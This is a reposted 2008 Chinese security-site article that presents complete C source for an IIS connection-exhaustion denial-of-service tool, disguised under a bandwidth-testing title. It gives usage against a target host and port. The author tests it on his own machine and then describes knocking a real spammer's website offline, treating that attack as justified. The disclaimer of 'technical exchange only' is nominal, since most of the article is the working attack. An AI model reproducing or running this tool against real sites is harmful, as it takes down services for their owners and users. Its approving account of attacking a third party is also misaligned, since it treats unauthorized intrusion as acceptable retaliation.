[ 登录 ][ 注册 ] 天极传媒: 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
您现在的位置: IT专家网 > 安全子站 > 安全技巧

利用IIS最大连接数测试网站带宽

作者: 佚名,  出处:论坛整理, 责任编辑: 张帅, 
2008-06-10 09:11
  现实中,针对个人网站特别是针对一些小型组织的DOS攻击时常发生,为何采用IIS的web服务容易造成攻击呢?本程序仅做为技术交流之用,勿用于非法用途。

  最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。

  这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。

  具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议Content Lenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下:

  (VS.net 、XP SP1调试通过。编译好的程序可以在本文附件下载)

#include "winsock.h" 
#include "stdio.h" 
#include "string.h" 
#include "io.h" 
#pragma comment(lib,"ws2_32.lib") 
#define BUFLEN 1024 
#define MAXThreadCount 10 //设置最大线程数 
  
int ThreadCount=0;  
  
struct mydata 

  char *ip; 
  int  port
}; 
  
  
unsigned int resolve(char *name) 

    struct hostent *he; 
    unsigned int ip; 
  
    if((ip=inet_addr(name))==(-1)) 
    { 
        if((he=gethostbyname(name))==0) 
            return 0; 
        memcpy(&ip,he->h_addr,4); 
    } 
    return ip; 

  
  
DWORD WINAPI Dos(LPVOID lpParam )  
{  
  mydata *csdn = (mydata*)lpParam; 
  struct sockaddr_in server
  server.sin_family = AF_INET; 
  server.sin_port = htons(csdn->port); 
   server.sin_addr.s_addr = resolve((char*)csdn->ip); 
      if(server.sin_addr.s_addr==0) 
    { 
         
         printf("Don’t find  address %s\n",(char*)csdn->ip); 
        exit(0); 
    } 
  int my; 
  char buf[100]="POST / HTTP/1.1\r\nHost: "; 
  strcat(buf,(char*)csdn->ip); 
  strcat(buf," \r\nContent-Length: 10\r\n\r\n"); 
    my=socket(PF_INET,SOCK_STREAM,0); 
  if(my==INVALID_SOCKET) 
    { 
         printf("ERROR"); 
         exit(0); 
    } 
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR) 
    { 
         printf("Socket ERROR:%d",GetLastError()); 
        exit(0); 
    } 
  if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");} 
  ThreadCount--; 
    return 0;  
}  
  
void thread ( char *a1 , char *a2 , char *a3 ) 

  static mydata tmp; 
  tmp.ip = a1; 
  tmp.port = atoi(a2); 
  
  DWORD dwThreadId; 
    HANDLE hThread;  
  WSADATA ws; 
   if   (WSAStartup( MAKEWORD(2,2), &ws )!=0) 
   { 
                printf(" [-] WSAStartup() error\n"); 
                exit(0); 
   } 
    hThread = CreateThread(  
        NULL,                        // no security attributes  
        0,                           // use default stack size   
        Dos,                  // thread function  
        &tmp,                // argument to thread function  
        0,                           // use default creation flags  
        &dwThreadId);                // returns the thread identifier  
   if (hThread == NULL)  
     printf( "CreateThread failed." );  
  ThreadCount++; 
  Sleep(200);     //延时,否则CPU会用满…… 
   CloseHandle(hThread); 

  
int main(int argc, char* argv[]) 

  int i=0; 
  if(argc!=4) 
  { 
         printf("\n\tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005\n"); 
         printf("-Usage:\n"); 
         printf("%s \n",argv[0]); 
         printf("-Example: %s www.target.com 80 300\n",argv[0]); 
         return 0; 
  } 
  printf("Starting DOS.............Ctrl + C break\n"); 
  while( i < atoi(argv[3]) ) 
  { 
         if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;} 
  } 
  while( 1 ){      } 
  WSACleanup(); 
  return 0; 

  程序为命令行程序,共有三个参数,依次为要攻击的网站名、端口、连接数。嗯,测试下效果先。

  测试的目标是个人电脑,系统为win2000。IIS管理中把最大连接数设为200,很快网站就不能访问了;增大到500,仍然会被当;800,还是要被当(图)。测试过程中该电脑正在运行魔兽世界,而且一直正常。看来我们的程序只是对付网站,不会央及无辜的啊^_^

  既然如此,那索性试试IIS连接数为无限的情况。程序中的连接参数我填的8000,结果运行途中我的系统没有了缓冲区间,winsock产生10055号错误,程序中止。呵呵,看来这种方法还是只能针对使用虚拟空间的中小网站。

  来实际使用。打开邮箱,随便找封广告垃圾邮件,访问那家伙的网站,然后开始攻击它,对付这种小站连接数就设成300就绰绰有余了。呵呵,很快那网站就不工作了,嘿嘿,这可怪不得我,谁叫他发垃圾邮件在前。好了,测试完毕,通过验收,就不跟他玩了。

  这只是个测试程序,真正要投入到应用还得再完善完善。再说废话一句,要是跟别人没有国仇家恨的话还是不要DOS的好。

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。

邮件订阅


    • 解析Windows密码安全问题(第三部分)评论
      在前两部分文章中,我们讨论了Windows密码政策的问题以及它是如何在Active Directory环境被控制等问题,大家应该还记得在默认情况下密码政策和相关的设置位于默认域策略中(Default Domain Policy)。另外同样探讨了可以使用哪些技术破获windows密码,以及每种攻击方式的限制问题。那么,在本文中,我们将讨论如何让windows密码变得更加安全,以及如何能够解决在前两部分文章中出现的所有问题。本文将涉及Windows2002/2003/2008Active Directory默认安装带来的可能性以及其他能够整体提高密码安全的技术。
    • IDC创新和安全白皮书:合作或竞争评论
      业务创新是业务发展战略非常重要的一部分,并而日益成为公司保持竞争优势的决定性因素。由于创新的战略重要性,导致了我们越来越关注信息安全机制在抑制甚至扼杀业务创新方面起到的作用。IDC认为公司不仅是需要找到业务创新和有可能扼杀这种创新的信息安全机制,而且需要在这两者之间找到一个简洁的平衡来满足自己的业务需求。成功的企业能够在商业竞争中占有优势,是因为他们懂得去合理的利用两者使之成为一种具有杠杆作用的机制,而其它的企业只是单单强调其中的一个。
    • 预防企业数据丢失的6种最佳实践评论
      根据“私有权清算中心”(一家非赢利性消费者信息和倡导组织)的统计,自2005年1月以来,有将近2200万条记录遭到破坏。数据失窃和丢失案件数量惊人,这不仅是因为安全入侵事件正在以惊人的速度持续增长,数据丢失引发的财产损失事件也同样在飞速增加。根据美国政府的估计,所谓的“企业数据丢失”在去年使商业界损失了近1050亿美元。根据波尼蒙研究所(Ponemon Institute)的统计,仅仅内部人士导致的数据受损一项,每年给商业界造成的损失为平均每家公司3-4百万美元。产业分析公司Gartner集团估计,恢复数据的开销可以达到每条破坏记录150美元之高——这一数字还没有包括重拾客户信任和重建品牌价值、可能的罚款以及法律诉讼代理费的资金投入。在企业数据丢失案件有增无减的同时,公司也正在不断搜集更多数据,以求优化商业流程,改善客户服务,以及提升与合作伙伴的关系。更多的数据转化为相关数据在整个企业中数量不断增多的信息系统之间更广泛的传播。其结果就是——随着公司内外越来越多的用户获得接入系统的权限,敏感数据遭到破坏的风险也在不断增大。
    • RSA白皮书:管理银行的信息风险评论
      信息是银行的基础,但直到现在,金融机构还往往满足于以业务封闭式的方式管理风险。然而,行业的压力促使银行开始对这种战略展开思考。